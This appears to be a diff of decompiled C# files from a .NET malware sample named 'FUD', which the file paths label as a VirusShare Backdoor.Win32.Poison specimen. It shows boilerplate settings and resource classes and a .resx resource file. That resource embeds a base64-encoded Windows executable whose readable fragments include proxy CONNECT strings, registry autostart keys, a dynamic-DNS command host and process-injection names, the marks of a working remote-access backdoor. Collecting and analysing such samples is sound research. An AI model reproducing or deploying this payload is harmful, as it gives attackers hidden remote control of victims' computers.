[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.MySettingsProperty
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace FUD.My
|
||||
{
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: FUD.My.Resources.Resources
|
||||
// Assembly: FUD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: B2724D87-94C0-4D6D-A3C1-4EC18A6956AE
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Poison.aec-4886f6c9f45d8971ab31a20a21e3b704c1278d1a1eac172c181a0c1f50c44e49.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace FUD.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) FUD.My.Resources.Resources.resourceMan, (object) null))
|
||||
FUD.My.Resources.Resources.resourceMan = new ResourceManager("FUD.Resources", typeof (FUD.My.Resources.Resources).Assembly);
|
||||
return FUD.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => FUD.My.Resources.Resources.resourceCulture;
|
||||
set => FUD.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] nevv => (byte[]) RuntimeHelpers.GetObjectValue(FUD.My.Resources.Resources.ResourceManager.GetObject(nameof (nevv), FUD.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+279
@@ -0,0 +1,279 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="nevv" type="System.Byte[], mscorlib">
|
||||
<value>
|
||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
sAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K
|
||||
JAAAAAAAAAC9D8va+W6liflupYn5bqWJd3G2if1upYkFTreJ+G6liVJpY2j5bqWJAAAAAAAAAABQRQAA
|
||||
TAECAPPqgEcAAAAAAAAAAOAADwELAQUMAAIAAAAgAAAAAAAACAIAAAACAAAABAAAAABAAAACAAAAAgAA
|
||||
BAAAAAQAAAAEAAAAAAAAAAAkAAAAAgAAUEoAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA
|
||||
AAAAABwCAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAC50ZXh0AAAAaAAAAAACAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAAOwfAAAABAAA
|
||||
ACAAAAAEAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAABMAgAAAAAAALgABEAA/9BqAOgAAAAA/yUAAkAA
|
||||
RAIAAAAAAAAAAAAAWgIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEwCAAAAAAAAgABFeGl0UHJvY2Vz
|
||||
cwBrZXJuZWwzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
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
|
||||
Av+WuQAAAImF1P7//8eF2P7//ygBAACNjdj+//9R/7XU/v///5a9AAAA60f/dQyNjfz+//9R/5bNAAAA
|
||||
C8B1IP9NEIN9EAB3F/+11P7///+WoQAAAIuF4P7//17JwgwAjY3Y/v//Uf+11P7///+WwQAAAIP4AXS0
|
||||
/7XU/v///5ahAAAAM8BeycIMAPEAQwJVi+yBxCDv//9WU1dSUceFJO///wAAAACLdQhodA8AAFaNvYzw
|
||||
//9X/5apAAAAx4e0CAAAAAAAAI2FMO///1BqAWoAjYcYBAAAUGgCAACA/1c1x4Us7///BAEAAI2FLO//
|
||||
/1CNhYjv//9QagBqAGoA/7Uw7////1c5/7Uw7////1cxakSNhUTv//9Q/5etAAAAZseFdO///wEAx4Us
|
||||
7///AAAAAIOFLO///wGAvkEEAAABdW7/tSzv//+NhkIEAABQVv+WxQAAAImFKO///wvAdTDHhSzv//8A
|
||||
AAAAg70k7///A3UJxodBBAAAAOs0g4Uk7///AWhYGwAA/5alAAAA66L/tSjv//9qAGj/Dx8A/5aVAAAA
|
